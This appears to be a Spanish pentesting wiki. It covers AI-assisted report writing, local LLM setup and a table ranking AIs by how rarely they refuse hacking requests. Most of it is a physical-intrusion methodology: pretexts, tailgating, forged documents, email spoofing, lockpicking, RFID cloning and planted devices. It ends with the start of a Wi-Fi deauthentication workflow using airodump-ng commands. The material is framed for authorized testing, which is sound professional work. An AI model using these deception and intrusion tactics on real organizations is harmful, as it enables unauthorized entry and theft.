# Home

Típica página de home. Lo que te interesa está en el resto de secciones. ✌️

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FGRNqeKBpPKay9FuTTv7I%2Fcat_red_hacker_2.png?alt=media&amp;token=60164968-b0c6-470d-a85f-1da3f662e32d" alt=""><figcaption></figcaption></figure>


# Recursos de aprendizaje

Aprender las bases: <https://tryhackme.com/>

Hacking de aplicaciones web: <https://portswigger.net/web-security>


# Notas & documentación

## Toma de notas

1. Obsidian: <https://obsidian.md/>

## Captura de pantalla

1. ScreenPresso: <https://www.screenpresso.com/>
2. FlameShot: <https://flameshot.org/>


# Plantillas de Prompts


# Informes de pentesting

Hacer un buen pentest no se trata solo de explotar cosas. Al final, una de las cosas que más importa es **cómo transmitimos ese conocimiento**. Y seamos honestos/as: para la mayoría, **documentar hallazgos es la parte más tediosa del trabajo**.

Puedes explotar una vulnerabilidad de forma compleja o creativa, pero **si después** **la explicación es pobre o desordenada, el trabajo pierde brillo**. No comunica el valor real del hallazgo, ni su impacto.

Una buena redacción debería, como mínimo:

* **Definir claramente** qué se encontró, cómo y por qué es importante.
* **Detallar de forma estructurada paso a paso** cómo se reproduce, incluyendo:
  * Dónde se identificó (sección, *endpoint*, funcionalidad, etc.).
  * Qué petición, comando o *payload* se usaron.
  * Qué resultado se obtuvo como evidencia clara de la presencia de la vulnerabilidad o explotación exitosa.
* **Explicar el impacto real y potencial** para los sistemas afectados, los usuarios, el negocio o el cumplimiento normativo.
* **Indicar las medidas necesarias para solventar la vulnerabilidad o mitigar el riesgo**, junto con buenas prácticas si aplica.

Y volviendo al tema de lo tedioso que puede ser escribir todo esto... es ahí donde entra la IA. Usar IAs para generar una primera versión del hallazgo, estructurada y clara, que después puede adaptarse al contexto de la vulnerabilidad identificada o explotada. Así se puede enfocar más el tiempo en la práctica y menos en la documentación.

***

## Redacción de una vulnerabilidad

La plantilla está diseñada para **automatizar la redacción técnica de vulnerabilidades** en informes de pentesting. Utiliza un prompt optimizado para ChatGPT (GPT-4o) que genera una entrada completa a partir de los datos reales de un hallazgo. En resumen:

* Una estructura estandarizada de 6 secciones: Título, Definición, Descripción, Impacto, Solución y Referencias.
* Un bloque editable tipo YAML donde se cargan los datos del hallazgo (parámetro vulnerable, URL, método, impacto, etc.).&#x20;
  * **IA no local:** Si se usa una IA que no se encuentre en local **hay riesgo del compromiso de la privacidad de los datos** debido a no tener un control total del manejo de datos, por lo que, en este caso, se deja el **ejemplo anonimizado y luego se adapta en local**.
  * **IA local:** En caso de usarla en local y se pueda **asegurar la privacidad total de los datos**, se pueden rellenar con datos reales. (Ver [IA en local](/general/ia/ia-en-local))
* Reglas de estilo claras para que el resultado sea coherente y profesional.
* Instrucciones para revisar el contenido generado en un **lienzo editable** antes de exportar la vulnerabilidad redactada.

### Prompt

<https://github.com/xtormin/PentestPrompts/blob/1c66b4ed16bfc85911c33bb07315839a7d273135/Informes/vulnerability-report.md>

### Ejemplo

Para este ejemplo se ha usando **ChatGPT con GPT-4o**. Cuando se ejecuta el prompt, se abre un lienzo donde es posible realizar los cambios necesarios y luego pedir que nos exporte un fichero .md que podemos utilizar y adaptar con la información confidencial en nuestra herramienta de reporting favorita.

La siguiente captura muestra la **salida por defecto y sin adaptar tras usar el prompt anterior**. Como se puede observar, esto da una plantilla que luego **debe revisarse ante posibles (y probables) alucinaciones**, por ello el lienzo es una buena forma de hacer nuestras adaptaciones directamente, pedir mejoras concretas, etc.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FJytHjJbdR3mf6WVNL1jO%2Fimage.png?alt=media&amp;token=ae6ad544-2de7-4075-bfe0-6d3f10f81d8f" alt=""><figcaption><p>Lienzo de ChatGPT editable</p></figcaption></figure>

Una vez se hayan terminado las adaptaciones, se puede solicitar el fichero en formato markdown con el siguiente prompt:

```markdown
Genera un fichero descargable en formato .md con todo el contenido del lienzo
```


# Automatización

### \[Ejemplo 1] LMStudio + N8N - Conexión con una IA Local

{% hint style="info" %}
Este es un ejemplo sencillo de cómo realizar peticiones desde un nodo de n8n hacia una IA ejecutada en local.
{% endhint %}

Si dispones de un equipo con recursos suficientes, puedes ejecutar modelos de IA de forma local y conectarlos directamente con n8n . Esto permite crear y probar workflows integrados con IA sin depender de servicios externos ni incurrir en costes por consumo de tokens y en un entorno de pruebas privado.

n8n: <https://github.com/n8n-io/n8n>

Ejemplo sencillo:

* **n8n:** Se ejecuta en un docker (<http://localhost:5678/>).
* **LMStudio:** Se ejecuta en el host principal.

Dado que el servidor de LMStudio se ejecutará en el host principal, para que el docker pueda realizar peticiones, es necesario sustituir `127.0.0.1` por `host.docker.internal`.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FpPFnUiQwhZnT6dBPpEUa%2Farquitectura-IAlocal-n8n.png?alt=media&amp;token=05b68da8-a3dc-4fdd-abbd-4815f6b7f653" alt=""><figcaption></figcaption></figure>

Si se desea realizar la conexión desde una VM en vez de desde el host principal, se puede usar el plugin `remote-lmstudio`, que permite exponer el puerto en la red (ej: `http://192.168.1.100:1234/`): <https://lmstudio.ai/lmstudio/remote-lmstudio>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FhFTwF3zDWn6hn2diPyMi%2Fimage.png?alt=media&amp;token=c68a95b0-cdfe-428f-82dc-498d7868a5d8" alt="" width="437"><figcaption></figcaption></figure>

#### LMStudio

Para ello, habrá que cargar y ejecutar el servidor con el modelo deseado en LMStudio.

Este servidor por defecto se encontrará en: <http://127.0.0.1:1234>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FvU5mbTUaaFhmDWQrY155%2Fimage.png?alt=media&amp;token=05b70e20-df78-4e08-8893-03d6455a886b" alt=""><figcaption></figcaption></figure>

Se realiza una petición POST contra el endpoint `/v1/chat/completions`.

#### n8n

Se crea un workflow y se incluye un nodo de HTTP Request.

En dicho nodo se configura:

* Método: `POST`
* URL: [`http://host.docker.internal:1234/v1/chat/completions`](http://host.docker.internal:1234/v1/chat/completions)
* Body Content Type: `JSON`
* Specify Body: `Using JSON`
* JSON:

```json
{
  "model": "google/gemma-3-12b",
  "messages": [
    {
      "role": "user",
      "content": "Tell me a hacker freak joke"
    }
  ]
}
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FLlDdahAHseCGriPRLJ5B%2Fimage.png?alt=media&amp;token=e41a0c94-44aa-493c-9b2e-a8ef1cacf105" alt=""><figcaption></figcaption></figure>

Si en el contenido se quiere incluir un input desde otro nodo, por ejemplo, un chat, se puede:

* Incluir un nodo previo de Chat.
* Editar la petición HTTP y ejecutar el nodo anterior.
* Arrastrar la variable con el contenido al valor de la clave "content" del JSON.

#### Ejemplo de flujo

Si se quiere cargar directamente el ejemplo del flujo:

1. Clona el repo.
2. Importa el `.json` en n8n (opción `Import workflow`).

<https://github.com/xtormin/n8n-pentest-workflows/blob/5f70e5bbf782ac6f0435ffb98e28b674dabec7b3/workflows/local-AI-connection.json>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FtDKtZ0nmylsD1DbfxDpH%2Fimage.png?alt=media&amp;token=20a20a4c-2249-4374-907e-bdd970085351" alt=""><figcaption></figcaption></figure>


# IA


# Ejecución de IA vía CLI

## Qwen-Code

<https://github.com/QwenLM/qwen-code>

```bash
npm install -g @qwen-code/qwen-code@latest
```

```bash
vim .env
```

```bash
OPENAI_API_KEY=your_api_key_here
OPENAI_BASE_URL=your_api_endpoint
OPENAI_MODEL=your_model_choice
```

```bash
qwen
```

## Claude-code

<https://www.npmjs.com/package/@anthropic-ai/claude-code>

```bash
npm install -g @anthropic-ai/claude-code
```

```
claude
```

## Referencias

* <https://support.anthropic.com/en/articles/9797557-usage-limit-best-practices>


# IA en local

## <mark style="color:red;">Ejecución de IAs en local</mark>

### **Hugging Face Transformers + TRL**

* **Características**:
  * Framework completo para entrenamiento e inferencia.
  * Compatibilidad con la mayoría de modelos open-source.
  * Amplia documentación y comunidad activa.
* **Entrenamiento**: Soporta fine-tuning supervisado, RLHF, LoRA, QLoRA.
* **Interfaz**: Gradio para crear UIs web rápidamente.
* **Requisitos**: Más técnicos, requiere conocimiento de PyTorch/Python.

<https://huggingface.co/docs/trl/index>

<https://github.com/huggingface/smol-course>

### **LMStudio**

* **Características**:
  * Interfaz gráfica amigable.
  * Entrenamiento e inferencia en un solo lugar.
* **Entrenamiento**: Fine-tuning con datos personalizados.
* **Interfaz**: UI gráfica integrada.
* **Limitaciones**: Menos personalizable que soluciones basadas en código.

Cuenta con una gran biblioteca de modelos y distintas características de hardware.

Se pueden descargar y ejecutar modelos ligeros o más avanzados. Dependiendo de eso, el resultado y velocidad de respuesta será mejor o peor.

{% hint style="warning" %}
Los modelos ligeros que se adaptan a portátiles sin grandes requerimientos de hardware, aunque solo realizan tareas muy sencillas, con poco contexto por chat y resultados que requieren mayor revisión que otros modelos.
{% endhint %}

<https://lmstudio.ai/>

{% embed url="<https://lmstudio.ai/docs/app/offline>" %}


# Comparativa de IAs

En esta página presento un resumen basado en mi propia experiencia y la de personas cercanas usando distintas IAs, principalmente para automatización e investigación relacionada con ciberseguridad.

{% hint style="danger" %}
**Este análisis tiene carácter subjetivo y puede variar con el tiempo y los cambios en cada herramienta.**

Esta comparativa refleja una experiencia personal. Algunos aspectos pueden diferir en función de actualizaciones, niveles de uso o políticas internas de cada IA.
{% endhint %}

{% hint style="success" %}
No obstante, comparto esta información porque considero útil ofrecer un resumen claro para identificar rápidamente qué IA puede ser más conveniente según los objetivos de cada persona y así aprovechar mejor su potencial.
{% endhint %}

## Tabla comparativa

<table><thead><tr><th width="141.46270751953125" align="center">IA</th><th width="143.75091552734375" align="center">Censura (hacking)</th><th width="124.2579345703125" align="center">Programación</th><th>Usos potenciales</th></tr></thead><tbody><tr><td align="center"><p><strong>ChatGPT</strong> </p><p><strong>(GPT-4o)</strong></p></td><td align="center"><mark style="color:orange;"><strong>Media</strong></mark></td><td align="center"><mark style="color:orange;"><strong>Bueno</strong></mark></td><td>Consultas generales y relacionadas con ciberseguridad. Buen nivel de razonamiento si se le proporciona el conocimiento y se le guía para obtener los resultados esperados. Si se dan prompts muy genéricos o poco precisos puede alucinar, inventarse parámetros, etc.</td></tr><tr><td align="center"><strong>DeepSeek (DeepThink R1)</strong></td><td align="center"><mark style="color:green;"><strong>Baja</strong></mark></td><td align="center"><mark style="color:orange;"><strong>Bueno</strong></mark></td><td>Consultas generales y de ciberseguridad. Similar a ChatGPT, con menor nivel de censura.</td></tr><tr><td align="center"><p><strong>Claude</strong> </p><p><strong>(3.7 Sonnet)</strong></p></td><td align="center"><mark style="color:orange;"><strong>Media</strong></mark></td><td align="center"><mark style="color:green;"><strong>Muy bueno</strong></mark></td><td>Excelente para programación. Si se usa con <em>prompts</em> claros genera código listo para usar con poco margen de error. Requiere verificación de lógica para evitar errores.</td></tr><tr><td align="center"><p><strong>Gemini</strong> </p><p><strong>(2.0)</strong></p></td><td align="center"><mark style="color:red;"><strong>Alta</strong></mark></td><td align="center"><mark style="color:orange;"><strong>Bueno</strong></mark></td><td>Consultas generales. Alta censura en temas de hacking, lo cual limita su utilidad en ciberseguridad.</td></tr><tr><td align="center"><strong>NotebookLM</strong></td><td align="center"><mark style="color:orange;"><strong>Media</strong></mark></td><td align="center">Pendiente de valorar.</td><td>Muy útil para investigación documental. Capaz de resumir, analizar y debatir información de múltiples fuentes. Se le puede alimentar con material de distinto tipo: documentos, vídeos, etc. Realiza resúmenes, debates, etc. </td></tr></tbody></table>

<details>

<summary>Resumen</summary>

Si necesitas una IA para programación intensiva, **Claude** es la más precisa.\
Para investigación documental, **NotebookLM** es excelente.\
Para consultas generales y ciberseguridad, **ChatGPT** y **DeepSeek** son opciones sólidas.\
Evitar **Gemini** en temas de hacking debido a su alta censura.

</details>

{% hint style="danger" %}
En ocasiones, las IA, en general, generan listas de <mark style="color:red;">**payloads peligrosos**</mark>. Como por ejemplo, inyecciones SQL que eliminen o modifiquen la base de datos, etc. Es necesario revisar y acompañar en el razonamiento para evitar posibles problemas.
{% endhint %}

Mis favoritos para cada caso:

* **Investigación y hacking:** ChatGPT / DeepSeek.
* **Programación:** Claude.
  * **Hacking:** si es relacionado con pruebas de *hacking* hay que ayudarle pasándole todo el conocimiento que necesite de *scripts*, comandos, documentación, etc.


# Intrusión física

> Las pruebas de intrusión física tienen como objetivo **evaluar las medidas de seguridad, vulnerabilidades, procedimientos y riesgos** que podrían comprometer la organización in situ, es decir, desde la infraestructura física de la organización de forma presencial.

Estas pruebas **se desarrollan en entornos reales** y pretenden **simular escenarios que utilizarían atacantes en el mundo real**, sin conocimiento de las personas que se encuentran en la organización (únicamente aquellas personas responsables de la ejecución del proyecto, como el responsable de seguridad).

Para la ejecución de las pruebas, se deberá **evaluar la seguridad física de la infraestructura con el objetivo de acceder al interior del edificio o sedes objetivo**. Para ello, se tratan de explotar las deficiencias en las medidas de seguridad físicas establecidas o ausencia de estas, en conjunto con los puntos débiles de las personas por medio de técnicas de ingeniería social.

Estas pruebas **se adaptarán de acuerdo al entorno, contexto y elementos de los activos dentro del alcance.** Por ello, como en toda prueba de intrusión, y más en una intrusión física, **la fase más importante es la enumeración**.

## <mark style="color:red;">Modelos de documentos de autorización</mark>

#### Información del documento

El documento de autorización, deberá contener, como mínimo, la siguiente información:

* Nombre y CIF de la empresa objetivo y empresa ejecutora del proyecto.
* Información del responsable que autoriza la prueba, contacto en caso de que el auditor/a sea detectado y auditor/as responsables de la ejecución.
  * Nombre y apellidos.
  * DNI / NIF / Pasaporte.
  * Cargo en la empresa.
  * Número de teléfono.
* Localizaciones y sedes dentro del alcance.
* Acciones permitidas dentro de la ejecución del proyecto.

#### Ejemplos de documentos de autorización

* [https://www.trustedsec.com/tools/physical-security-assessment-documentation/ ](<https://www.trustedsec.com/tools/physical-security-assessment-documentation/ >)
* <https://github.com/trustedsec/physical-docs>

## <mark style="color:red;">Herramientas</mark>

* [ ] Raspberry Pi o dispositivo de C2C.
* [ ] Rubber Ducky, digispark y/o Input Stick RAT.
* [ ] Kit de ganzúas.
* [ ] Tarjeta de acceso y/o colgante estándar. Preferiblemente de apariencia similar a la que tienen en la empresa objetivo.
* [ ] Documentación o autorizaciones falsificadas para apoyar el pretexto elegido.
* [ ] Llaves allen y destornillador con distintos cabezales.
* [ ] Móvil con buena cámara para las evidencias. (el propio móvil xD)

**Raspberry Pi**

* **Raspberry Pi 4B:** <https://www.amazon.es/gp/product/B0899VXM8F/>
* **Carcasa:** <https://www.amazon.es/gp/product/B07V3Z7QM6/>
* **Tarjeta MicroSD:** <https://www.amazon.es/gp/product/B08GYBBBBH/>

**Rubber Ducky con Digispark**

* **Digispark:** <https://www.amazon.es/AZDelivery-Digispark-Rev-3-Kickstarter-Parent/dp/B01N7SGC1I?th=1>
* **Duck2Spark:** <https://github.com/mame82/duck2spark>

**InputStick RAT**

* **InputStick RAT:** [https://lab401.com/es-e](https://lab401.com/es-es/products/inputstick-rat?srsltid=AfmBOor4JsDWaNa8zWaZfgPQwel9xIcll8-Zlifdk72-cW1f2g2EjfW8)

## <mark style="color:red;">Metodología</mark>

Existen distintas metodologías que pueden ser utilizadas para las pruebas de intrusión física o pentesting físico. Los marcos estándar aceptados por la industria a nivel mundial son el <mark style="color:red;">**NIST-SP.800-171**</mark> (Publicación especial del NIST para la ejecución de pruebas de intrusión física) y el <mark style="color:red;">**capítulo 8 del OSSTMM**</mark>**:**

* **NIST-SP.800-171:** <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-171r2.pdf>
* **OSSTMM - Cap.8:** <https://www.isecom.org/OSSTMM.3.pdf>

A continuación, se propone una metodología de intrusión física o "Pentest Físico" que se basa en las metodologías anteriores y la propia experiencia:

1. [**Reconocimiento.**](#id-1.-reconocimiento)
2. [**Pretexto/s.**](#id-2.-pretexto)
3. [**Acceso.**](#id-3.-acceso)
4. [**Ingeniería social.**](#id-4.-ingenieria-social)
5. [**Explotación.**](#id-5.-explotacion)
6. [**Evidencias.**](#id-6.-evidencias)
7. [**Informe.**](#id-7.-informe)

### 1. Reconocimiento

Se realiza una primera fase de **reconocimiento de la organización** y del **entorno físico exterior e interior**. En esta fase, se trata de enumerar todos los elementos, puntos de entrada, personal, procedimientos, seguridad, personal externo con acceso, tiempos de descanso, días de mayor o menor ocupación del edificio (teletrabajo o día de ir a la oficina), entre otros.&#x20;

Para ello, puede realizarse un primer **reconocimiento vía técnicas de OSINT y mapeo de las redes**, o realizarse **in situ**. Se deberá dedicar, como mínimo un día de reconocimiento in situ y como máximo, todo el necesario hasta obtener la información deseada para <mark style="color:red;">**identificar los puntos débiles y pretextos más adecuados a la naturaleza de la organización**</mark>.

¿Qué personal entra y sale del edificio? ¿Hay guardias de seguridad o cámaras? ¿Se utilizan controles de acceso por tarjeta? Este proceso no solo da una idea de los posibles puntos de entrada, sino también de la rutina y comportamiento del personal.

{% hint style="info" %}
**Ejemplo práctico:** Observar cómo los empleados se comportan al final del día puede ofrecer una oportunidad de "*tailgating*" (seguir a alguien a través de una puerta sin usar una tarjeta de acceso). Se puede aprovechar ese cansancio de final de jornada para entrar sin levantar sospechas.
{% endhint %}

Según el nivel de acceso, los elementos del reconocimiento variarán. Será útil contar con un **mapa de las ubicaciones** dentro del alcance.

El <mark style="color:red;">**nivel de acceso**</mark> podría dividirse en <mark style="color:red;">**5 capas**</mark>:

1. [Perímetro o exterior.](#perimetro-o-exterior)
2. [Espacios públicos interiores.](#espacios-publicos-interiores)
3. [Espacios de trabajo.](#espacios-de-trabajo)
4. [Espacios con información confidencial o sensible.](#espacios-con-informacion-confidencial-o-sensible)
5. [Espacio de servidores o críticos para el negocio.](#espacio-de-servidores-o-criticos-para-el-negocio)

#### 1. Perímetro o exterior

* Identificación de accesos:
  * Puertas de acceso comunes.
  * Puertas de acceso de personal.
  * Puertas de acceso traseras.
  * Puestas de acceso a un local que conecte con el local objetivo.
* Identificación de elementos de seguridad:
  * Cámaras de vigilancia.
  * Sensores.
  * Sistemas de acceso: tarjetas, huella, registro en recepción.
  * Personal de vigilancia.
* Observación y análisis de horarios:
  * Entrada y salida del edificio.
  * Cambios de turno.
  * Descansos para desayunar o comer.
* Identificación de exposición de activos:
  * Puntos de acceso en zonas comunes o poco vigiladas.
  * Conexiones de ethernet en zonas comunes o poco vigiladas.
* Suplantación de correos electrónicos:
  * Registros SPF, DKIM y/o DMARC no establecidos adecuadamente. (útil como apoyo para los pretextos)

#### 2. Espacios públicos interiores

* Identificación de espacios interiores con acceso a zonas restringidas.
* Identificación de puntos de red de fácil alcance.
* Identificación de sistemas de control de acceso.

#### 3. Espacios de trabajo

* Política de escritorios limpios:
  * Documentos confidenciales disponibles.
  * Dispositivos externos disponibles.
  * Pantallas sin bloquear con o sin vigilancia.
  * Post-It con información confidencial o contraseñas.

#### 4. Espacios con información confidencial o sensible

* Lo mismo que en "espacios de trabajo".
* Acceso a información restringida.
* Códigos de acceso o llaves a zonas restringidas.

#### 5. Espacio de servidores o críticos para el negocio

* Accesibilidad de la sala de servidores.
* Sistemas de control de acceso o ausencia de ellos.
* Sistemas de vigilancia.
* Registros de acceso.

### 2. Pretexto

Una vez se haya obtenido toda la información posible, se creará una <mark style="color:red;">**batería de**</mark> <mark style="color:red;">**posibles pretextos ordenados por la probabilidad de éxito que puedan tener en cada uno de los distintos escenarios y/o localizaciones objetivo**</mark><mark style="color:red;">.</mark> En muchas ocasiones, en entornos similares, el pretexto podría ser el mismo.

Algunos posibles ejemplos podrían ser:

* Técnico/a de operadora (Telefónica, Vodafone, Orange, etc.).
* Limpiadora/or.
* Electricista.
* Fontanero/a.
* Empleado nuevo.
* Estudiante en prácticas.
* Jefe de otra sede.
* Auditor.
  * Auditor de normativa.
  * Auditor de seguridad. Ejecución de un proyecto de pruebas de seguridad en las redes internas e inalámbricas.

{% hint style="info" %}
Para el apoyo del pretexto, si la empresa cuenta con los registros de correo con una configuración insegura que permita enviar correos suplantando la organización, se podría aprovechar esta vulnerabilidad para auto-enviarse un correo en nombre de una persona de la organización que autorice el pretexto utilizado junto con un documento falsificado que autorice el pretexto en cuestión.
{% endhint %}

### 3. Acceso

De acuerdo a la información obtenida del reconocimiento, como las medidas de seguridad, viabilidad de acceso con o sin seguridad, personas y procedimientos internos establecidos. Es <mark style="color:red;">**recomendable entrar primero desde el lugar donde mayor probabilidad de éxito podría haber**</mark>, dado que si se es descubierto, las probabilidades de ser detectado/a en el resto de sedes, aumentan.

El acceso puede realizarse de múltiples maneras, bien por medio de **técnicas que exploten las deficiencias en la seguridad física de la infraestructura y/o tecnológica** o por medio de **técnicas de ingeniería social**. Este último tiene una mención especial, puesto que <mark style="color:red;">**las técnicas de ingeniería social se encuentran durante toda la ejecución del ejercicio**</mark>, desde que se realiza el reconocimiento, hasta que se sale del edificio o se es detenido/a por los guardias de seguridad o policía (donde ya quedaría al descubierto el pastel y sería mejor mostrar la autorización y contacto original, a no ser que se desee dormir en el calabozo xD).

#### Evasión de sistemas de acceso

El acceso por medio de la explotación de deficiencias en la seguridad física pueden ser:

* Lockpicking (aka. Forzar cerraduras).
* RFID. Clonación de tarjetas RFID.
* Evasión de cámaras y/o alarmas.

### 4. Ingeniería social

Durante todo el reconocimiento, acceso y posterior persistencia, se utilizarán técnicas de ingeniería social. Estas técnicas tendrán distintos objetivos de acuerdo al reconocimiento realizado.

Aunque variará según el pretexto, perfil de la empresa objetivo y demás variables dentro de la ecuación. En términos generales, se recomienda tratar de **mantenerse lo más neutral posible**, sin generar mucha presencia, pero tampoco tratando de ser "invisible".&#x20;

Por ejemplo, mantener conversaciones genéricas, con **simpatía y sin dar muchos detalles o cambiando la conversación a temas banales o relacionados con la persona con la que se establezca una conversación** (haciendo preguntas). De esta forma, se gana confianza sin necesidad de dar información de uno/a mismo/a, y evitando levantar sospechas.

Durante toda la prueba, es recomendable dar la mínima información que se estime viable cuando se establezca una conversación con personal de la organización.

Por ejemplo: Siendo el pretexto "Realización de una prueba de seguridad en las redes internas e inalámbricas", se dirá en primera instancia "Prueba en las redes" y se irá dando información a lo largo de la conversación en caso de ser necesario. Con ello, se minimiza la posibilidad de generar sospecha o dudas del pretexto establecido.

<mark style="color:red;">**Toda conversación**</mark> que se establezca <mark style="color:red;">**debe ser lo más cerca de la realidad posible y con total seguridad**</mark>**,** de forma que el personal no detecte duda alguna en las palabras y sea más difícil ponerse nervioso/a.

#### Presencia y/o acceso

Teniendo ya un pretexto, se podría realizar un pre-acceso o preparación de las personas de la organización interactuando con ellas previamente al acceso. Para ello, se podría frecuentar la cafetería, entrada del edificio en momentos de descanso, puertas traseras en momentos de descanso, baños, etc. Con ello, **se pretende tener un aspecto más familiar y ganar simpatía con los empleados**.&#x20;

Esto puede ser útil por varios motivos. Por un lado, para **ganar acceso si estos se encuentran cerca de la entrada y ofrecieran la entrada al edificio**, y por otro lado, **en caso de estar una vez dentro y ser pillados, al conocer a alguien interno, se genere mayor credibilidad o se refuerce el pretexto.**

Además, de la misma forma, si aún no se cuenta con un pretexto, y se quiere obtener mayor información sobre el personal externo, se pueden frecuentar de igual forma el entorno, con un pretexto temporal o sin necesidad de dar un pretexto (siendo esta segunda, mejor opción a no ser que sea necesario), con el objetivo de sacar información de los empleados. Por ejemplo, en el descanso de las/os limpiadoras/es, hacerse pasar por un empleado nuevo y sacar conversación con el objetivo de preguntar el nombre de la empresa, horarios, etc.

#### Salida del edificio

Cuando se desee salir, siempre que sea posible, <mark style="color:red;">**intentar salir por la misma zona de entrada**</mark> o zona principal de salida si se encuentra sin vigilancia. En caso de que esto no sea posible debido a que la entrada se ha realizado de forma premeditada o esta cuenta con medidas de seguridad que no puedan volver a ser saltadas, se puede intentar buscar una vía secundaria.&#x20;

Para ello, una posible opción es acercarse a puertas de salida, y en caso de no haber generado sospechas con la propia presencia, una posible opción es **preguntar al personal del edificio sobre entradas alternativas utilizando pretextos que no generen sospecha.**

{% hint style="info" %}
"Disculpa, ¿Por aquella puerta se puede salir a fumar?"
{% endhint %}

Además, **como última opción,&#x20;**<mark style="color:red;">**esperar cerca de la salida y salir integrado/a con un grupo de personas, simulando naturalidad y con paso firme,**</mark> con suerte, el propio guardia de seguridad habilitará la salida del edificio (basado en hechos reales).

### 5. Explotación

Una vez se ha ganado acceso y se consigue mantener persistencia dentro de la sede o edificio objetivo. Se podrán realizar **varias acciones según los objetivos de la intrusión.**&#x20;

Pueden ser, por ejemplo:

* Realizar el acceso a los espacios críticos o de relevancia:
  * Cuartos de servidores.
  * Cuartos de archivos confidenciales.
  * Elementos de relevancia del negocio.
* Conectarse a la red de la organización.
  * Realizar una prueba de visibilidad.
  * Realizar escáneres y acciones varias dentro de la red.
  * Esconder un dispositivo y utilizarlo para obtener persistencia.
* Prueba de detección y respuesta.
  * Realizar acciones que pueden ser identificadas como sospechosas.
  * Frecuentar lugares de acceso restringido.
  * Mantener persistencia dentro del edificio.

Esta última, se podría realizar como **prueba de resistencia una vez se hayan finalizado el resto de acciones** a realizar durante las pruebas, con el objetivo de **medir la capacidad del personal de la organización para identificar y responder ante un posible acceso no autorizado o sospechoso**.

### 6. Evidencias

Como <mark style="color:red;">evidencia y registros de la intrusión</mark>, se deberá:

* Tomar fotos de:
  * Todos los lugares a los que se ha obtenido acceso.
    * Acceso al interior.
    * Espacios de relevancia.
    * Salida del edificio.
  * Información confidencial a la que se ha obtenido acceso.
  * Conexión a la red.
* Registrar la fecha y hora de intrusión y/o realización de acciones de relevancia durante la ejecución.

{% hint style="danger" %}
Es muy importante tomar fotos de <mark style="color:red;">**todos**</mark> los accesos realizados, espacios de relevancia, conexión a la red, etc. con su correspondiente registro de fecha y hora asociados.
{% endhint %}

### 7. Informe

Por ejemplo, un informe de prueba de intrusión física podría tener, como mínimo, las siguientes secciones:

1. Introducción.
2. Metodologías.
3. Resumen ejecutivo.
4. Vulnerabilidades.
5. Intrusión física.
   1. Pretexto.
   2. Ejecución.

## Referencias

* <https://startingelectronics.org/tutorials/arduino/digispark/digispark-windows-setup/>
* <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-171r2.pdf>
* <https://www.isecom.org/OSSTMM.3.pdf>


# Redes Wi-Fi

{% hint style="info" %}
Como se van a trabajar con múltiples tarjetas de red, como todos los comandos tienen una versión con variables, para que sea más fácil y rápido modificar la información.&#x20;
{% endhint %}

## <mark style="color:red;">Deautenticación</mark>

> Desconectar a todo el mundo o un cliente en específico (ESSID) de un AP.

Para la realización de la mayoría de ataques, cuando no podamos capturar conexiones nuevas en la red, será muy útil realizar un ataque de deautenticación controlado contra clientes de la red objetivo con el fin de desconectar a un usuario/cliente de la red objetivo y capturar la información de autenticación de dicho usuario de acuerdo a la seguridad de la red en cuestión.

Por ejemplo, si la red tiene:

* **WPA-PSK:** Se fuerza al usuario a deautenticarse de la red, podremos capturar el handshake.
* **WPA-MGT:** Se fuerza al usuario a deautenticarse y se capturan credenciales con un AP falso.

{% hint style="success" %}
Si se quiere evitar realizar ataques de deautenticación, es recomendable capturar paquetes antes de que se realicen nuevas conexiones, por ejemplo, al comienzo de la jornada habitual de los trabajadores o al volver de la hora de comida. Para ello, bien se puede madrugar, o dejar una raspberry PI capturando handshakes y/o un AP falso (aquí es donde empieza a ser útil tener mínimo dos tarjetas de red y, además, cuenten con soporte de la frecuencia del AP más cercano a la posición del dispositivo de ataque).
{% endhint %}

### Deautenticación simple

Para realizar un ataque de deautenticación, es necesario conocer:

* La MAC del AP del SSID (red objetivo) del cuál se quiere obtener el *handshake*.
* La MAC de un cliente que se encuentre conectado a dicho AP.

Esta información se puede obtener de la siguiente forma:

1. Realizar una captura básica para obtener información de las redes cercanas. [\[Captura básica\]](#captura-basica)
2. Obtener la MAC de la red objetivo. [\[Captura de un ESSID en concreto\]](#captura-de-un-essid-en-concreto)
3. Realizar una captura del AP con la MAC obtenida. [\[Captura de un BSSID en concreto\]](#captura-de-un-bssid-en-concreto)
4. Seleccionar la MAC del cliente que se desea deautenticar.
5. Utilizar airplay-ng para deautenticar al usuario, repetir todas las veces que se considere necesarias para obtener el *handshake* o credenciales. Si no se consigue obtener un *handshake*, ponerse en medio o acercarse al cliente objetivo.
6. Obtención del *handshake* o credenciales.

De acuerdo a los pasos mencionados anteriormente:

1. Capturar de redes cercanas o directamente nuestra red objetivo:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
```

{% endcode %}

2. Conociendo la MAC (BSSID) de la red objetivo, se realiza una captura de paquetes de dicha red. Aquí pueden pasar dos cosas:
   * Se realiza una nueva conexión por parte del cliente y se consigue capturar el *handshake* o credenciales.
   * Forzamos la nueva conexión del cliente usando la MAC del dispositivo que se quiera deautenticar para capturar el *handshake* en cuanto se intente conectar al AP (ir al punto 3).

{% code overflow="wrap" %}

```bash
IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
```

